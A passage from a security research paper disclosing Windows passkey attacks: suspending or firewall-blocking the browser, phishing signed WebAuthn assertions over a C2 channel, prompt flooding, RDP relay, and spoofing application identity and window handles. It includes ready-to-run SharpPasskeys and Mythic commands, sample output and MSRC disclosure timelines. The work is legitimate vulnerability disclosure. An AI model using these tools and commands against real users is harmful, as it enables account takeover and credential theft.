confirmed by MSRC. | | 2026-05-?? | Partially fixed for FIDO2 security keys and VBS-based Windows Hello. | ## 3.3 Passkey Circuit Breaker Attack ### 3.3.1 Overview Even if the [replay attack](#) is not feasible due to server-side mitigations, an adversary who acts fast enough might still be able to forward the WebAuthn assertion before the legitimate user can.A network outage, browser freeze, OS hang, or a power outage could delay the legitimate authentication attempt, allowing the malicious actor to succeed. If malware is already present on the client machine, the success rate of this attack can be significantly increased by terminating or temporarily suspending the browser process before it manages to send the assertion.If the malicious application additionally holds local administrative privileges, it can go a step further and add firewall rules that block the browser’s outbound traffic the moment it begins the passkey assertion ceremony, so that the freshly signed assertion never reaches the relying party at all and is left for the operator to forward instead. This attack only works against relying parties that do not bind their WebAuthn challenges to the user’s session, such as Microsoft Entra ID.Others have closed this gap:GitHub, for instance, has used {32}------------------------------------------------ session-bound challenges since at least January 2026, so an assertion intercepted in the victim's session cannot be replayed from the operator's computer. ### 3.3.2 Attack Execution The `Invoke-PasskeyCircuitBreaker.ps1` script is a proof-of-concept PowerShell script that monitors the WebAuthn event log in real time and reacts the instant a passkey ceremony begins.Running under a standard user account, it can suspend or kill the application performing the authentication; running with administrative privileges, it can instead block that application's outbound network traffic. Here is sample output from the script (redacted for brevity): ```.\Invoke-PasskeyCircuitBreaker.ps1 -Suspend -BlockTraffic -Verbose ``` ``` Listening for WebAuthN assertion response events...Press Ctrl+C to stop.VERBOSE:Blocked outbound traffic for:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Captured WebAuthn assertion request: EventId :1103 Time :6/30/2026 11:04:10 AM UserId :S-1-5-21-3288850392-3299536932-2614793081-1000 UserName :contoso\john.doe ProcessId :9396 ProcessName :msedge ThreadId :7632 RpId :login.microsoft.com VERBOSE:Process 9396 suspended.VERBOSE:Unblocked outbound traffic for:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Captured WebAuthn assertion response: EventId :2106 Time :6/30/2026 11:04:20 AM UserId :S-1-5-21-3288850392-3299536932-2614793081-1000 UserName :contoso\john.doe ProcessId :9396 ProcessName :msedge ThreadId :7632 Origin :https://login.microsoft.com PublicKeyCredential:{"id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM",...,"type":"public-key"} Stopping the event watcher...VERBOSE:Process 9396 resumed.``` {33}------------------------------------------------ ## 3.4 Passkey Assertion Phishing Attack ### 3.4.1 Overview While the attacks discussed so far relied on vulnerabilities that will be fixed by the time our research is published, we also explored other attack vectors that do not depend on any specific Microsoft bug.The fundamental question we tried to answer is:if malware is already running on a victim's Windows workstation, could it abuse the user's passkeys to impersonate them? Passkey private keys are, by design, well protected on modern Windows machines, and malware running in user mode cannot simply read them out of memory.Windows Hello credentials are guarded by Virtualization-Based Security (VBS) and/or a Trusted Platform Module (TPM); this was, in fact, one of the reasons Microsoft made TPM 2.0 chips mandatory in Windows 11.Passkeys stored on FIDO2 roaming authenticators, such as YubiKeys, are likewise held inside the device's secure element.Finding vulnerabilities in cryptographic hardware is out of scope for this research. The key observation is that an attacker does not need to extract the private key at all.Any Windows application can ask the OS to produce a digitally signed passkey assertion through the documented [WIN32 WebAuthn API](#), which is mainly intended for use by web browsers.That signature is exactly what a relying party accepts as proof of authentication, and obtaining one is what this attack sets out to achieve. The mechanism is straightforward.Malware running on the victim's computer just issues the [WebAuthnAuthenticatorGetAssertion](#) call, which causes Windows to display its standard passkey authentication dialog.Crucially, browsers are responsible for filling in the request's origin from the address of the page that actually invoked `navigator.credentials.get()`, and the OS binds the resulting assertion to that origin.Malware calling the Windows API directly is under no such constraint:it supplies the request origin itself and can therefore request an assertion for *any* relying party of its choosing — `login.microsoft.com`, `github.com`, or otherwise. From the victim's perspective, nothing looks unusual.They are asked to select the passkey they wish to authenticate with and to complete user verification: - With **Windows Hello**, by looking into the camera, touching the fingerprint reader, or typing a PIN.- With **FIDO2 security keys**, by providing a fingerprint or typing a PIN and touching the key to confirm presence.- In a hybrid flow, the dialog instead presents a QR code that the victim scans with an **iPhone or Android device** and completes the ceremony there. Regardless of which authenticator is used, the outcome is the same:the malicious application receives the `PublicKeyCredential` JSON structure that a browser would normally return to JavaScript for submission to the relying party.Here, the malware sends it to the C2 operator instead, who submits it to the relying party and impersonates the unsuspecting victim. This attack thus requires user interaction — the victim must approve a prompt they did not initiate — which is why we classify it as *phishing*. {34}------------------------------------------------ ### 3.4.2 Attack Execution As a proof of concept, we implemented the end-to-end passkey assertion phishing attack in our toolkit.We assume that a C2 channel is already established between the victim's computer and the malware operator.The adversary would start by launching the [Passkey Injector](#) tool on their machine and navigating to the desired cloud service, e.g., portal.azure.com.The passkey authentication ceremony should automatically start and the custom assertion request UI should show the received challenge and relying party information.For convenience, the tool also generates ready-to-run commands for the [SharpPasskeys](#) tool. ![Screenshot of the Passkey Injector C2 Command Generator interface showing various command options and generated PowerShell commands.](fd0bd97f68ab12fb22f937db56c801a5_img.jpg) The image is a screenshot of a web application titled "C2 Commands".At the top, there is a dropdown menu for "Authenticator Type Hint" currently set to "Windows Hello (Platform)".To its right are three checkboxes:"Prompt Flood", "Kill Credential UI Broker", and "Spoof Window Handle", all of which are currently unchecked.Below this header, the interface is divided into three main sections, each with a title and a text box containing a command: - SharpPasskeys (Standalone CLI)**:Contains the command `SharpPasskeys.exe prompt --relying-party login.microsoft.com --authenticator ClientDevice --challenge Ty5leUowZVhBaU9pSktWMVFp` - SharpPasskeys (Mythic Apollo Agent)**:Contains two commands: - `register_assembly -existingFile SharpPasskeys.exe` - `execute_assembly -Assembly SharpPasskeys.exe -Arguments "prompt --relying-party login.microsoft.com --authenticator ClientDevice -"` - PowerShell**:Contains two commands: - `Import-Module -Name DSIInternals.Passkeys` - `Test-Passkey -RelyingPartyId login.microsoft.com -Hint ClientDevice -Challenge Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2IPaUpTVXpJ` At the bottom center of the interface is a button labeled "X Close". Screenshot of the Passkey Injector C2 Command Generator interface showing various command options and generated PowerShell commands. **Figure 13:** Passkey Injector C2 Command Generator The operator then sends the generated command to the victim's computer over the C2 channel, such as Mythic, and waits for the victim to complete the authentication process.Once the user approves the prompt, the resulting `PublicKeyCredential` JSON is sent back to the operator, who can submit it to the relying party and impersonate the victim. {35}------------------------------------------------ ![Screenshot of the Mythic C2 Framework interface showing a list of agents and a terminal window with SharpPasskeys execution logs.](02f9c911b69504d90bd20e0bc61c4bbb_img.jpg) The screenshot displays the Mythic C2 Framework interface.The top section is a table listing agents with columns for INTERACT, IP, HOST, USER, DOMAIN, PID, LAST CHECKIN, and DESCRIPTION.Below this, a terminal window titled 'C2 => WIN11 X' shows the execution of SharpPasskeys.The terminal output includes several commands and their corresponding logs, such as 'keys.exe -Arguments prompt --relying...', 'execute\_assembly -Assembly SharpPasskeys.exe -Arguments list hello', and 'execute\_assembly -Assembly SharpPasskeys.exe -Arguments prompt --relying...'.The logs show the process of using Microsoft Edge main window handle for prompt, starting credential prompt flood, and various prompt attempts and failures.The bottom of the terminal shows the current directory as 'Dir:C:\Users\Admin\Downloads'. | INTERACT | IP | HOST | USER | DOMAIN | PID | LAST CHECKIN | DESCRIPTION | |----------|--------------|-------------|-------|---------|-------|---------------|------------------------------------------------| | 9 | 10.101.0.123 | CANARY | Admin | CANARY | 13196 | a few seconds | Created by mythic_admin at 2026-04-02 13:21:36 | | 5 | 172.26.128.1 | CONTOSO-PC1 | Admin | contoso | 11376 | 1 seconds | Created by mythic_admin at 2026-04-02 13:21:36 | Screenshot of the Mythic C2 Framework interface showing a list of agents and a terminal window with SharpPasskeys execution logs. Figure 14:SharpPasskeys Executed through the Mythic C2 Framework {36}------------------------------------------------ Image:Screenshot of the Passkey Authentication (WebAuthn Assertion) tool interface showing request details, allowed credentials, and a JSON response. The screenshot shows the 'Passkey Authentication (WebAuthn Assertion)' tool.The 'Request (Parsed)' section displays:Relying Party ID:login.microsoft.com, Challenge:Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSXNJbmcxZENJNklsadBMVzgzYUVS, Mediation:[Dropdown], User Verification:Required, Hints:[Dropdown], Timeout:600,000, and Extensions:[Dropdown].The 'Allow Credentials' section lists three entries in a table: | Id | Transports | Type | |----------------------------------------------------------------|------------|------------| | a6pp8NT17NCV65JbgUbKws8C2ojSjOtiwpuuRXZjEwYy-Mh_hllLWDqwlbkccF | | public-key | | iQFx-74sQ8bayHtH887-VMZlfrYmosgJXDhUgJrjip8OAQfmZv8bNtmSvMLqbl | | public-key | | KOrHDdZK-YiovVn77EZQdWVlrX7nnpQFulcNTU4brwc | | public-key | The 'Request (JSON)' section shows:Request Expiration:09:23, Challenge JWT Expiration:04:20.The 'Response (JSON)' section includes buttons for 'Paste response', 'Software signer', and 'Show C2 commands'.The JSON response is: ``` { "id":"9KjxcpgEtULDuCJmhs1UN2oTd34dEkwpNqPOnAq11-s", "rawId":"9KjxcpgEtULDuCJmhs1UN2oTd34dEkwpNqPOnAq11-s", "response":{ "authenticatorData":"Nwye1KCTIblpXx6vkYID8bVfaj2mH7yWGEwVfdpoDIEFAAAAAA", "signature":"MEUCIQDmF-YpPaFyxluitHxaE5yGeX2a_DeMT-F2td5zwd7qgIgUqE1Sir1Q1l3-w0OodP0JJ", "clientDataJSON":"eyJ0eXB1Ijoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVHk1bGVVb3daVmhcYVU5cl" }, "type":"public-key" } ``` A 'Submit' button is at the bottom. Figure 15:Passkey Injector WebAuthn Assertion UI ### 3.4.3 Authenticator and Passkey Pre-Selection By default, the Windows passkey prompt shows all compatible authenticators and passkeys to the user, who needs to navigate through multiple dialog windows to select the desired passkey for authentication.Each additional step increases the likelihood of user error or suspicion. {37}------------------------------------------------ ![Screenshot of a Windows Security dialog box titled 'Choose a passkey'.It lists four options:'bill@microsoft.com', 'satya@microsoft.com', 'steve@microsoft.com', and 'Security key'.A 'Cancel' button is at the bottom right.](419237decd8294588ca7ca2aa84b0e75_img.jpg) A screenshot of a Windows Security dialog box titled "Choose a passkey".The dialog box has a dark theme.At the top left is a shield icon and the text "Windows Security".At the top right is a close button (X).The main heading is "Choose a passkey".Below the heading are four options, each with a key icon:"bill@microsoft.com", "satya@microsoft.com", "steve@microsoft.com", and "Security key".At the bottom right is a "Cancel" button. Screenshot of a Windows Security dialog box titled 'Choose a passkey'.It lists four options:'bill@microsoft.com', 'satya@microsoft.com', 'steve@microsoft.com', and 'Security key'.A 'Cancel' button is at the bottom right. Figure 16:Passkey Selection During Assertion Phishing Attackers can improve their chances of success by pre-selecting the authenticator and passkey, so that the user only needs to confirm the prompt without making any additional choices. ![Screenshot of a Windows Security dialog box titled 'Sign in with a passkey'.It shows 'satya@microsoft.com' and 'Passkey for login.microsoft.com' pre-selected.Below is a fingerprint icon and the text 'Scan your finger on the fingerprint reader.' with three icons (smile, fingerprint, grid).A link 'Choose a different passkey' is at the bottom left, and a 'Cancel' button is at the bottom right.](33fcd48ebd2456ea5e49fade0d4c7f75_img.jpg) A screenshot of a Windows Security dialog box titled "Sign in with a passkey".The dialog box has a dark theme.At the top left is a shield icon and the text "Windows Security".At the top right is a close button (X).The main heading is "Sign in with a passkey".Below the heading, "satya@microsoft.com" is selected, with the text "Passkey for login.microsoft.com" below it.To the right of this is a blue information icon (i).In the center is a blue fingerprint icon.Below the icon is the text "Scan your finger on the fingerprint reader." Below this are three icons:a smiley face, a fingerprint (which is highlighted in blue), and a grid.At the bottom left is a link "Choose a different passkey".At the bottom right is a "Cancel" button. Screenshot of a Windows Security dialog box titled 'Sign in with a passkey'.It shows 'satya@microsoft.com' and 'Passkey for login.microsoft.com' pre-selected.Below is a fingerprint icon and the text 'Scan your finger on the fingerprint reader.' with three icons (smile, fingerprint, grid).A link 'Choose a different passkey' is at the bottom left, and a 'Cancel' button is at the bottom right. Figure 17:Passkey Authentication Prompt with Windows Hello Passkey Pre-Selected {38}------------------------------------------------ This can be achieved by specifying the --authenticator and --credential-id parameters when invoking the SharpPasskeys tool: ```.\\SharpPasskeys.exe prompt --relying-party login.microsoft.com ` --challenge dGVzdC1jaGFsbGVuZ2U ` --authenticator ClientDevice ` --credential-id 5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM ``` The list of Windows Hello passkeys can be obtained by querying the Windows API: ``` SharpPasskeys.exe list hello ``` | Relying Party | User | Credential ID | |---------------------|---------------------|---------------------------------------------| | github.com | satyanadella | kGExW0TJk3CV-igJrwoDrupadlREaz5hgV7LlucUDho | | login.microsoft.com | satya@microsoft.com | 5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM | Historically used passkeys can be retrieved from the Windows Event Log: ``` SharpPasskeys.exe list events ``` | Relying Party | User | Credential ID | Authenticator | |---------------------|---------------------|-----------------------|------------------| | login.microsoft.com | satya@microsoft.com | 5B4QTDkm-0C0nJk7KA...| Windows Hello | | github.com | satyanadella | kGExW0TJk3CV-igJrw...| Yubico YubiKey 5 | Last but not least, the list of all passkeys for a given account is typically revealed by the relying party itself in the allowCredentials parameter of the WebAuthn assertion request, which is displayed by the Passkey Injector tool. ## 3.5 Passkey Prompt Flooding Attack ### 3.5.1 Overview A passkey authentication prompt that appears unexpectedly is, for most users, an annoyance to be dismissed.This is especially true for roaming authenticators:when Windows asks the user to insert their YubiKey and type its PIN on the keyboard, a user who was not trying to sign in will often simply cancel the dialog or close the window. The prompt spamming — or *prompt flooding* — attack defeats this instinct through sheer persistence.As soon as the intended victim dismisses the prompt, the attacker re-initiates the ceremony by calling {39}------------------------------------------------ the WebAuthn API again.This can be repeated indefinitely, or, more practically, until the challenge expires — a window of roughly five to ten minutes, depending on the relying party's configuration. This is the passkey equivalent of MFA fatigue.Users conditioned by frequent, legitimate Windows Hello prompts — particularly the near-instant face-recognition flow — often cannot tell a genuine prompt from a malicious one.Even seasoned security professionals are not immune:several of our own colleagues admitted to confirming such prompts reflexively, without pausing to consider why the prompt appeared, what they were confirming, which site they were signing in to, or to whom they were handing their credentials. The attack becomes even more coercive when combined with the [window handle injection](#) technique. ### 3.5.2 Attack Execution The [SharpPasskeys](#) tool supports this attack directly through the `--flood` parameter of the `prompt` command.See the [next](#) section for sample output. ## 3.6 Credential UI Overlay Attack ### 3.6.1 Overview Several of the attacks discussed in this paper end with a malicious application invoking a passkey prompt of its own, and their success ultimately depends on the victim confirming it.We therefore looked for ways to make that confirmation more likely by blending the rogue prompt into a moment when the user is already expecting one. Our first idea was to overlay the rogue prompt directly on top of a legitimate one.A malicious process would monitor the [Microsoft-Windows-WebAuthN/Operational](#) event log and wait for a legitimate application to start a passkey ceremony, then immediately invoke its own prompt and position it over the genuine dialog, so that nothing on screen looks out of place.Windows 11, however, contains a built-in protection against precisely this scenario:while one application has a passkey ceremony in progress and is waiting for the user to complete it, any second application that calls the WebAuthn API simply receives an access *denied* error.Only one passkey authentication can be in flight at a time. Our second idea was to forcibly remove the legitimate prompt before showing our own.The passkey dialog is rendered by the `CredentialUIBroker.exe` process, so we tried terminating it mid-ceremony.The first kill is ineffective:the process is almost immediately respawned and displays a new dialog window informing the user that the previous authentication attempt failed.Terminating it a second time in a row, however, worked — afterward we were able to invoke and display our own passkey prompt unopposed.The drawback is that the legitimate application typically freezes or hangs; with browsers, for example, we usually had to open Task Manager and forcibly terminate the application.The disruption is conspicuous, which makes this variant noticeable to the victim and not especially practical. A more practical approach abandons the overlay altogether and simply waits its turn.Rather than racing the legitimate ceremony, the malicious process waits for it to finish — again observable {40}------------------------------------------------ through the WebAuthn event log — and only then presents its own prompt.This sidesteps the access *denied* conflict entirely.The victim merely sees the authentication prompt twice, which, particularly with the fast and frequent Windows Hello flow, rarely looks suspicious:legitimate authentications sometimes fail, and seeing the Windows credential UI appear two or three times in a row is unremarkable enough that most users would never suspect anything nefarious. ### 3.6.2 Attack Execution All variants of the attack are again implemented in the [SharpPasskeys](#) tool.Here is an example of the prompt flooding attack, which waits for a legitimate WebAuthn ceremony to complete and then repeatedly invokes its own prompt until the user confirms it or the challenge expires: ```.\\SharpPasskeys.exe wait.\\SharpPasskeys.exe prompt --relying-party login.microsoft.com ` --challenge KH25uOHKDpHL8fa3WKSC ` --authenticator ClientDevice ` --flood ` --hwnd 0 ``` ``` 15:22:36 info:Passkeys[0] Waiting for WebAuthn assertion request (timeout:10m)...Time:2026-06-30 15:24:18 User:contoso\\Admin Relying Party:login.microsoft.com 15:24:19 info:Passkeys[0] Using Microsoft Edge main window handle for prompt.15:24:19 info:Passkeys[0] Starting credential prompt flood (timeout:00:05:00)...15:24:19 info:Passkeys[0] Prompt attempt 1 (00:00 elapsed)...15:24:19 fail:Passkeys[0] Prompt failed:Access is denied 15:24:21 info:Passkeys[0] Prompt attempt 2 (00:02 elapsed)...15:24:21 fail:Passkeys[0] Prompt failed:Access is denied 15:24:23 info:Passkeys[0] Prompt attempt 3 (00:04 elapsed)...15:24:23 fail:Passkeys[0] Prompt failed:Access is denied 15:24:25 info:Passkeys[0] Prompt attempt 4 (00:06 elapsed)...15:24:25 fail:Passkeys[0] Prompt failed:Access is denied 15:24:28 info:Passkeys[0] Prompt attempt 5 (00:08 elapsed)...{"id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM",...,"type":"public-key"} ``` {41}------------------------------------------------ ## 3.7 Remote Desktop Passkey Phishing Attack Windows 11 natively supports pass-through, or relay, of passkey authentication from the local computer to the remote computer to which the user is connected over the RDP protocol.This relay is carried by a dedicated virtual channel defined in [\[MS-RDPEWA\]:Remote Desktop Protocol:WebAuthn Virtual Channel Protocol](#).[4] In the *Local devices and resources* settings of the Remote Desktop Connection client, Windows Hello appears twice: - Smart cards or Windows Hello for Business - WebAuthn (Windows Hello or security keys) ![Screenshot of the 'Local Devices and Resources' dialog box in the Remote Desktop Connection client.The dialog shows a list of local devices and resources with checkboxes.'Smart cards or Windows Hello for Business' and 'WebAuthn (Windows Hello or security keys)' are both checked.Other options like 'Ports', 'Location', 'Drives', 'Video capture devices', and 'Other supported Plug and Play (PnP) devices' are unchecked.The 'OK' and 'Cancel' buttons are at the bottom right.](d426fedab107c13e22db0712dbc1f22f_img.jpg) Screenshot of the 'Local Devices and Resources' dialog box in the Remote Desktop Connection client.The dialog shows a list of local devices and resources with checkboxes.'Smart cards or Windows Hello for Business' and 'WebAuthn (Windows Hello or security keys)' are both checked.Other options like 'Ports', 'Location', 'Drives', 'Video capture devices', and 'Other supported Plug and Play (PnP) devices' are unchecked.The 'OK' and 'Cancel' buttons are at the bottom right. **Figure 18:** RDP WebAuthn Pass-Through Settings Both options are enabled by default, but we are only interested in **WebAuthn (Windows Hello or security keys)**, which relays passkey assertion requests and responses.The same capability is also available in the Hyper-V Virtual Machine Connection tool when the *enhanced session mode* is enabled. If a malicious application executes on the remote computer to which the user is connected, it can invoke the passkey authentication prompt locally — on the source computer.Depending on the exact build of the client's Windows operating system, use of MS-RDPEWA may be indicated in the dialog window by marking the request as originating from a remote session. {42}------------------------------------------------ ![Screenshot of a Windows PowerShell window and a Windows Security dialog box.The PowerShell window shows the execution of SharpPasskeys.exe with a --relying-party github.com flag, resulting in a prompt for credentials.The Windows Security dialog box is titled 'Sign in with a passkey' and shows a fingerprint scan prompt for 'MichaelGrafnetter' on 'github.com'.](db267ff9c1b97bbae0cb0856be1d8734_img.jpg) The image shows a Windows PowerShell window in the background and a Windows Security dialog box in the foreground.The PowerShell window is titled 'CANARY on GRAY - Virtual Machine Connection' and contains the following text: PS >.\SharpPasskeys.exe prompt --relying-party github.com --challenge QmFQclh3QUBBQURTQkZoZzczeExFUvo2c8dNVndx 12:20:19 info:Passkeys[0] Prompting for credentials with relying party 'github.com' and authenticator hint 'None'... The foreground dialog box is titled 'Windows Security' and 'Sign in with a passkey'.It displays a profile for 'MichaelGrafnetter' with 'Passkey for github.com'.Below this is a fingerprint icon and the text 'Scan your finger on the fingerprint reader.' with a 'Sign-in options' link.At the bottom, there is a 'Choose a different passkey' link and a 'Cancel' button. Screenshot of a Windows PowerShell window and a Windows Security dialog box.The PowerShell window shows the execution of SharpPasskeys.exe with a --relying-party github.com flag, resulting in a prompt for credentials.The Windows Security dialog box is titled 'Sign in with a passkey' and shows a fingerprint scan prompt for 'MichaelGrafnetter' on 'github.com'. Figure 19:WebAuthn Prompt Relayed over Hyper-V Enhanced Session ![Screenshot of a Windows Security dialog box titled 'Sign in with a passkey'.It shows a fingerprint scan prompt for 'AdeleV@dev.dsininternals.com' on 'login.microsoft.com', requesting a remote session by Microsoft Edge.](33f3de1f0a7889fb2ab8224ad2a25029_img.jpg) The image shows a Windows Security dialog box titled 'Sign in with a passkey'.It displays a profile for 'AdeleV@dev.dsininternals.com' with 'Passkey for login.microsoft.com'.Below this, it states 'Requested from a remote session by Microsoft Edge (Microsoft Corporation)'.There is a fingerprint icon and the text 'Scan your finger on the fingerprint reader.' with a 'Sign-in options' link.At the bottom, there is a 'Choose a different passkey' link and a 'Cancel' button. Screenshot of a Windows Security dialog box titled 'Sign in with a passkey'.It shows a fingerprint scan prompt for 'AdeleV@dev.dsininternals.com' on 'login.microsoft.com', requesting a remote session by Microsoft Edge. Figure 20:WebAuthn Prompt Relayed over RDP {43}------------------------------------------------ ## 3.8 Application Metadata Spoofing Attack ### 3.8.1 Overview For security reasons, the Windows passkey dialog indicates the identity of the application that invoked the authentication prompt.For the built-in browser, for example, it reads *Requested by Microsoft Edge (Microsoft Corporation)*.This identity is not shown by default — the user must first click the blue information glyph next to the credential to reveal it — but security-conscious users can, and should, check it. This disclosure is exactly what an attacker would want to subvert.The passkey phishing techniques in this paper require the victim to confirm the dialog, and the attacker’s odds improve dramatically if it appears to originate from an application the user already trusts and from which they would expect a legitimate passkey prompt. By trial and error, we learned that the displayed application name and publisher come from the executable’s version information resource — the same fields shown on the *Details* tab of the file’s *Properties* dialog. ![Screenshot of the 'PasskeyUI.exe Properties' dialog box, showing the 'Details' tab with a table of file information including Product name, File version, and Copyright.](69350f1ebebf4e4b2d5644dfc6671d7c_img.jpg) The image shows a Windows 'Properties' dialog box for 'PasskeyUI.exe'.The 'Details' tab is selected, displaying a table of file information.The table includes fields such as 'File description', 'Type', 'File version', 'Product name', 'Product version', 'Copyright', 'Size', 'Date modified', 'Language', and 'Original filename'.The 'Product name' field is highlighted in blue. | Property | Value | |--------------------|---------------------------------------------| | Description | | | File description | PasskeyUI | | Type | Application | | File version | 3.0.0.0 | | Product name | PasskeyUI | | Product version | 1.0.0+d7054dbc4d21f32d35877b04f63cd... | | Copyright | Copyright (c) 2021-2026 Michael Grafnett...| | Size | 130 MB | | Date modified | 5/10/2026 12:04 AM | | Language | Language Neutral | | Original filename | PasskeyUI.dll | Screenshot of the 'PasskeyUI.exe Properties' dialog box, showing the 'Details' tab with a table of file information including Product name, File version, and Copyright. Figure 21:Original Passkey UI Version Information {44}------------------------------------------------ ![Screenshot of the Windows Security Passkey sign-in prompt.](092c0be7569b3376073f1b06f8a5601f_img.jpg) A screenshot of a Windows Security dialog box titled "Sign in with a passkey".The dialog shows a passkey entry for "satya@microsoft.com" for "login.microsoft.com", requested by "PasskeyUI (Michael Grafnetter)".Below the entry is a fingerprint icon and the instruction "Scan your finger on the fingerprint reader." There are links for "Sign-in options" and "Choose a different passkey", and a "Cancel" button at the bottom. Screenshot of the Windows Security Passkey sign-in prompt. Figure 22:Original Passkey UI Application Identity ### 3.8.2 Attack Execution Because the version information is entirely attacker-controlled, it can be set to impersonate any genuine application.In a.NET application, for instance, it is enough to set the assembly title and author in the project file: ``` WinExe Microsoft Edge Microsoft Corporation net10.0-windows ``` The attacker's application then produces a passkey prompt that is indistinguishable from a legitimate one. {45}------------------------------------------------ ![A screenshot of a Windows Security passkey sign-in dialog box.The dialog is titled 'Sign in with a passkey' and shows a user 'satya@microsoft.com' with a passkey for 'login.microsoft.com'.It states 'Requested by Microsoft Edge (Microsoft Corporation)'.Below this is a blue Windows logo and the message 'Hello, Michael! Select OK to continue.' with three biometric options:smiley face, fingerprint, and grid.A link 'Choose a different passkey' is below the biometrics.At the bottom are 'OK' and 'Cancel' buttons.](640118899584f24b3d6373431a6c7722_img.jpg) A screenshot of a Windows Security passkey sign-in dialog box.The dialog is titled 'Sign in with a passkey' and shows a user 'satya@microsoft.com' with a passkey for 'login.microsoft.com'.It states 'Requested by Microsoft Edge (Microsoft Corporation)'.Below this is a blue Windows logo and the message 'Hello, Michael! Select OK to continue.' with three biometric options:smiley face, fingerprint, and grid.A link 'Choose a different passkey' is below the biometrics.At the bottom are 'OK' and 'Cancel' buttons. Figure 23:Spoofed Microsoft Edge Application Identity #### **Note** In older versions of Windows 11, the application's digital signature was also taken into account.We are not entirely sure in which version this behavior changed. ## 3.9 Credential UI Window Handle Spoofing Attack ### 3.9.1 Overview We have discovered an even more effective way of spoofing the application identity than modifying the metadata.The technique is enabled by a low-impact vulnerability in the WebAuthN API that Microsoft declined to fix. The [WebAuthNAuthenticatorGetAssertion](#) WIN32 API function used to display passkey authentication prompts is defined as follows:[3] ``` HRESULT WINAPI WebAuthNAuthenticatorGetAssertion( _In_ HWnd hWnd, _In_ LPCWSTR pwszRpId, _In_ PCWEBAUTHN_CLIENT_DATA pWebAuthNClientData, ``` {46}------------------------------------------------ ``` _In_opt_ PCWEBAUTHN_AUTHENTICATOR_GET_ASSERTION_OPTIONS pWebAuthNGetAssertionOptions, _Outptr_result_maybenull_ PWEBAUTHN_ASSERTION *ppWebAuthNAssertion); ``` The `hWnd` parameter is the handle of the parent window that will display the credential UI as a modal dialog window.We found that this parameter is not properly validated by Windows, allowing attackers to inject passkey authentication prompts into the context of another application, such as a web browser, even if the application is running under a different user account.Malicious actors can abuse this vulnerability to trick users into confirming assertion requests that they would otherwise ignore if they were displayed in the context of an unfamiliar application. ### 3.9.2 Attack Execution The `SharpPasskeys` tool can first be used to enumerate main application windows belonging to the current user: ``` SharpPasskeys.exe list hWnd ``` ``` +-----+-----+-----+ | Process Name | Handle | Window Title | +-----+-----+-----+ | msedge | 2432736 | Microsoft - AI, Cloud, Productivity | | olk | 132206 | Mail - John Doe - Outlook | | POWERPNT | 28185102 | Pass-the-Passkey.pptx - PowerPoint | | WindowsTerminal | 12587510 | Administrator:Command Prompt | +-----+-----+-----+ ``` The `--hWnd` parameter of the `prompt` command can then be used to specify the window handle of the target application: ```.\SharpPasskeys.exe prompt --hWnd 2432736 ` --relying-party github.com ` --challenge HvxwEkeqXPh-fB_c-wqXvfXiFXiamcEGLuyRXSo2XxY ``` Windows will display the passkey authentication prompt as a modal dialog of the target process. {47}------------------------------------------------ ![A screenshot showing a Windows PowerShell window and a Microsoft Edge browser window.The PowerShell window shows the execution of a command to find a process handle and the subsequent use of Passkeys.exe.The browser window shows a Microsoft Edge 'Sign in with a passkey' dialog box for 'Microsoft Edge (Microsoft Corporation)', which is highlighted with a red box, demonstrating a handle injection attack.](be0e6826ff90caab1b4da9ec86a23e96_img.jpg) The image displays a Windows PowerShell window at the top and a Microsoft Edge browser window below it.In the PowerShell window, the following commands and output are visible: ``` PS > Get-Process -Name msedge | Where-Object MainWindowHandle -ne 0 | Format-Table -Property MainWindowHandle, Name MainWindowHandle Name ----- 12262062 msedge PS >.\Passkeys.exe prompt --relying-party github.com --hwnd 12262062 --challenge DVcoAwqLUHhcV0maTPQJegMIGyUwdxhFju6yq2KOLGU 11:09:41 info:Passkeys[0] Using provided window handle 12262062.11:09:41 info:Passkeys[0] Prompting for credentials with relying party 'github.com' and authenticator hint 'None'...``` The browser window shows a Microsoft Edge page with a 'Sign in with a passkey' dialog box.The dialog box is for 'MichaelGrafnetter' and 'Passkey for github.com'.A red box highlights the text 'Requested by Microsoft Edge (Microsoft Corporation)', which is the result of the handle injection attack. A screenshot showing a Windows PowerShell window and a Microsoft Edge browser window.The PowerShell window shows the execution of a command to find a process handle and the subsequent use of Passkeys.exe.The browser window shows a Microsoft Edge 'Sign in with a passkey' dialog box for 'Microsoft Edge (Microsoft Corporation)', which is highlighted with a red box, demonstrating a handle injection attack. Figure 24:Credential UI Window Handle Injection #### **Note** If the value of 0 is passed to the `--hwnd` parameter, the tool will try to automatically discover a suitable browser process. ### 3.9.3 Vulnerability Classification | Framework | ID | Description | |-----------|-------------|---------------------------------------------------------------| | CWE | CWE-451 | User Interface (UI) Misrepresentation of Critical Information | | | CWE-20 | Improper Input Validation | | CVSS 3.1 | 8.0 (High) | CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C | | MSRC | VULN-185216 | Credential UI Window Handle Spoofing | {48}------------------------------------------------ ### 3.9.4 Disclosure Timeline | Date | Event | |------------|-------------------------------------------------------------------------------------------------------| | 2026-04-03 | Vulnerability discovered during internal research. | | 2026-04-30 | Initial disclosure to Microsoft Security Response Center (MSRC). | | 2026-05-01 | MSRC requested a PoC implementation. | | 2026-05-15 | PoC shared with MSRC. | | 2026-06-04 | MSRC assessed the vulnerability as Low severity in the Defense in Depth category and closed the case.| ## 3.10 Passkey to Token Attack ### 3.10.1 Overview WebAuthn is a JavaScript API and, as such, requires a browser environment and typically cannot be used directly by command-line tools or scripts that use OAuth 2.0 access tokens as a means of authentication. The traditional way to fetch Microsoft Entra ID tokens from a browser session is to open the Developer Tools and extract the [ESTSAUTH cookie](#).Tools like Fabian Bader's [TokenTactics v2](#) can then be used to exchange the cookie for tokens.The [Passkey Injector](#) tool also supports automating this process by directly invoking the [OAuth 2.0 Authorization Code flow](#) and displaying the obtained OAuth 2.0 tokens. ### 3.10.2 Attack Execution The [Passkey Injector](#) tool can be used to initiate an OpenID Connect authorization request to the relying party, while impersonating a well-known public client, such as Microsoft Edge or Microsoft Azure PowerShell. 